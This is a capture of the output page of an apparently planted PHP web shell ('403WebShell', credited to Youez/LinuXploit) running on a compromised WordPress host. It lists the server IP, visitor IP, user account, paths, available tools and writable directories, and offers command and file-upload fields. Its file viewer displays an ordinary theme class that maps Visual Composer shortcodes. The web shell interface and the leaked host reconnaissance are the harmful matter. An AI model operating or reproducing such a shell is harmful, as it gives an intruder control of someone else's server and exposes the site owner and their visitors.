Failed to save the file to the "xx" directory.

Failed to save the file to the "ll" directory.

Failed to save the file to the "mm" directory.

Failed to save the file to the "wp" directory.

403WebShell
403Webshell
Server IP : 66.29.132.124  /  Your IP : 18.220.227.250
Web Server : LiteSpeed
System : Linux business141.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : wavevlvu ( 1524)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/wavevlvu/diixadigital.com/wp-content/themes/meto/includes/classes/visual-composer.php
<?php

namespace METO\Includes\Classes;

/**
 * Visual Composer array mapper and render the output.
 */
class Visual_Composer
{

    /**
     * [$maps description]
     * @var array
     */
    protected $maps = array(
        'heading1',
        'our_services',
        'choose_us',
        'projects',
        'blog',
        'testimonial',
        'brands',
        'slider',
        'get_in_touch',
        'our_services2',
        'services_news',
        'circled_services',
        'custom_info',
        'services_icon',
        'our_experts',
        'pricing_plan',
        'projects2',
        'faqs',
        'contact_info',
        'contact_form',
        'map',
        'estimated_time',
        'pricing_plan2',
        'about_us',
        'widget_contact',
        'useful_links',
        'store_hours',
        'get_offer',
        'header_logo',
        'contact_us',
        'main_menu',
        'simple_info',
        'header_button',
        'search_box',
        'header_contact_info',
        'header_social_icons',
        'reparing',
        'about_us_carousel',
        'repair_video',
        'problem_fix_form',
        'widget_blog',
        'widget_newsletter',
        'widget_social_profiles',
        'funfacts',
        'repaired_parallax',
        'appointment_banner',
        'repair_device',
        'best_opertunity',
        'simple_banner',
        'states',
        'repair_model',
        'parts_price',
        'supported_models',
        'branches',
        'latest_articles',
        'projects3',
        'pricing_plans3',
        'funfact2',
        'services3',
        'contact_infobar',
        'services4',
        'about_us2',
        'choose_us2',
        'team',
        'funfacts3',
        'specialized_services',
        'services5',
        'pricing_plans4',
        'blog2',
        'call_back',
        'sponsors',
        'fun_facts_boxes',
        'gallery',
        'portfolio',
        'featured_banner',
        'video_banner',
        'featured_carousel'
    );

    /**
     * [__construct description]
     */
    public function __construct()
    {
        if (! function_exists('vc_map')) {
            return;
        }


        vc_set_default_editor_post_types(array( 'page', 'static_block' ));


        add_action('vc_before_init', array( $this, 'init' ));
    }

    /**
     * VC Map main init
     * @return void [description]
     */
    public function init()
    {

        // set vc as theme.
        vc_set_as_theme();

        if (function_exists('vc_addshortcode_param')) {
            vc_addshortcode_param('toggle', array( $this, 'toggle' ));
        }

        $dir = get_stylesheet_directory() . '/shortcodes'; // First, set new directory for templates
        vc_set_shortcodes_templates_dir($dir);

        // Map the params of existing elements.
        $this->map_params();

        $maps = apply_filters('meto_vc_map', $this->maps);

        foreach ($maps as $value) {
            $file = $this->get_file($value);

            if (file_exists($file)) {
                $data = include $file;

                vc_map($data);

                if (function_exists('wpmeto_shortcode')) {
                    $tag = esc_attr(meto_set($data, 'base'));

                    wpmeto_shortcode($tag, array( $this, 'output' ));
                }
            }
        }
    }

    public function output($atts, $content = null, $tag)
    {
        $params = $this->shortcodeParams($tag);

        ob_start();

        meto_template_load('shortcodes/' . $tag . '.php', compact('atts', 'content', 'tag'));

        return ob_get_clean();
    }

    public function get_file($tag)
    {
        $file = meto_template('includes/resource/vc_map/'.$tag . '.php');
        $file = apply_filters("meto_vc_map_file_{$tag}", $file);

        return $file;
    }

    /**
     * shortcode params from vc array.
     *
     * @param  string $tag shortcode tag
     * @return array      params
     */
    public function shortcodeParams($tag)
    {
        $file = $this->get_file($tag);

        if (file_exists($file)) {
            $data = include $file;

            return meto_set($data, 'params');
        }

        return array();
    }

    public function map_params()
    {
        $array = array(
            'vc_row',
        );

        foreach ($array as $file) {
            $file = $this->get_file($file);

            if (file_exists($file)) {
                $data = include $file;

                foreach ($data as $key => $value) {
                    foreach ($value as $param) {
                        vc_add_param($key, $param);
                    }
                }
            }
        }
    }


    /**
     * Checkbox shortcode attribute type generator.
     *
     * @param $settings
     * @param string $value
     *
     * @since 4.4
     * @return string - html string.
     */
    public function toggle($settings, $value)
    {
        $output = '';
        if (is_array($value)) {
            $value = '';
        }
        $current_value = strlen($value) > 0 ? explode(',', $value) : array();
        $values = isset($settings['value']) && is_array($settings['value']) ? $settings['value'] : array( esc_html__('Yes', 'meto') => 'true' );
        if (! empty($values)) {
            foreach ($values as $label => $v) {
                $checked = count($current_value) > 0 && in_array($v, $current_value) ? ' checked' : '';
                $output .= ' <label class="vc_checkbox-label"><input id="'
                           . $settings['param_name'] . '-' . $v . '" value="'
                           . $v . '" class="wpb_vc_param_value tgl tgl-ios '
                           . $settings['param_name'] . ' ' . $settings['type'] . '" type="checkbox" name="'
                           . $settings['param_name'] . '"'

                           . $checked . '> '
                           . '<span class="tgl-btn" for="cb2"></span>'
                           . $label . '</label>';
            }
        }

        return $output;
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit